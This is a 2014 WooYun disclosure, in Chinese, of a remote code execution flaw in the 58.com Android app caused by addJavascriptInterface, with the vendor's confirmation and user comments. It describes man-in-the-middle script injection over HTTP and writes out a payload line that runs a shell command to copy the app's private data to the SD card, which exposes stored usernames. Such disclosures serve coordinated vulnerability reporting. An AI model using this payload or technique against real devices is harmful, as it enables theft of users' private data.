当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-074528

漏洞标题:58同城app远程代码执行

相关厂商:58同城

漏洞作者: 学习乌云

提交时间:2014-08-31 20:48

修复时间:2014-11-29 20:50

公开时间:2014-11-29 20:50

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-31: 细节已通知厂商并且等待厂商处理中
2014-09-01: 厂商已经确认,细节仅向厂商公开
2014-09-04: 细节向第三方安全合作伙伴开放
2014-10-26: 细节向核心白帽子及相关领域专家公开
2014-11-05: 细节向普通白帽子公开
2014-11-15: 细节向实习白帽子公开
2014-11-29: 细节向公众公开

简要描述:

58同城最新版app

详细说明:

app基本信息:android:versionCode="5730" android:versionName="5.7.3.0" package="com.wuba"
它用了addJavascriptInterface,导致可以远程代码执行。包括远程文件偷取和写入(我demo了远程写入和把内部文件dump到SD卡上),挂马等。可参考乌云这篇:http://drops.wooyun.org/papers/548
注入点有好些页面。暴露的JS对象叫做stub。

漏洞证明:

1. 反编译知道它多处使用了addJavascriptInterface

58tongcheng_5730_apktool/smali/com/wuba/android/lib/frame/webview/WubaWebView.smali:    invoke-virtual {v0, v1, p1}, Lcom/wuba/android/lib/frame/webview/internal/SweetWebView;->addJavascriptInterface(Ljava/lang/Object;Ljava/lang/String;)V
58tongcheng_5730_apktool/smali/com/tencent/connect/auth/AuthDialog.smali: const-string v1, "addJavascriptInterface"
58tongcheng_5730_apktool/smali/com/kuaidadi/plugin/api/KDWebViewActivity.smali: invoke-virtual {v0, p0, v1}, Landroid/webkit/WebView;->addJavascriptInterface(Ljava/lang/Object;Ljava/lang/String;)V
58tongcheng_5730_src/src/com/kuaidadi/plugin/api/KDWebViewActivity.java: this.a.addJavascriptInterface(this, "local_obj");


2. 用burp来模拟中间人攻击(因为基本都是HTTP,很容易中间人,比如麦当劳wifi和其他手机的wifi热点),当用户浏览有漏洞的页面时,注入如下的“恶意”脚本:​

burp_stub.png


3. 客户端被远程代码执行,可以看到stub.txt已经被远程写入:

rce_stub.png


stub_sdcard.png


4. 换个注入脚本,让执行的命令是

execute(window[obj], ["/system/bin/sh","-c","cp -r /data/data/com.wuba /sdcard"]);


rce_data.png


可以看到58的内部文件全被导出到SD卡了:

data_sdcard.png


5. 58的内部隐私文件有很多,比如狂多的内部数据库:

58file.png


6. 另外导出的com.wuba_new_v5.xml这个配置文件里保存了用户名明文和密码的hash值(虽然不是直接md5)
<string name="USERNAME">plaintext</string>
<string name="remember_username">plaintext</string>
<string name="MD5PWD">略去</string>
<string name="remember_userpassword">略去</string>

修复方案:

我已经无语了…

版权声明:转载请注明来源 学习乌云@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:16

确认时间:2014-09-01 16:41

厂商回复:

感谢对58安全的关注,确认存在漏洞,会尽快修复处理!
稍后会索要联系方式,近期会发送礼物。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-09-19 10:40 | 大亮 ( 普通白帽子 | Rank:306 漏洞数:65 | 慢慢挖洞)

    评论等公开

  2. 2014-09-22 15:38 | F4K3R ( 普通白帽子 | Rank:297 漏洞数:31 | 学习)

    思路不错额~

  3. 2014-09-22 18:24 | 学习乌云 ( 实习白帽子 | Rank:95 漏洞数:14 | 学习ing...)

    @F4K3R 那你不在评价里给个赞,哈哈

  4. 2014-09-22 20:17 | F4K3R ( 普通白帽子 | Rank:297 漏洞数:31 | 学习)

    @学习乌云 已赞~哈

  5. 2014-12-17 19:16 | _Thorns ( 普通白帽子 | Rank:882 漏洞数:157 | 收wb 1:5 无限量收 [平台担保]))

    哈哈,这个漏洞经典,赞一个。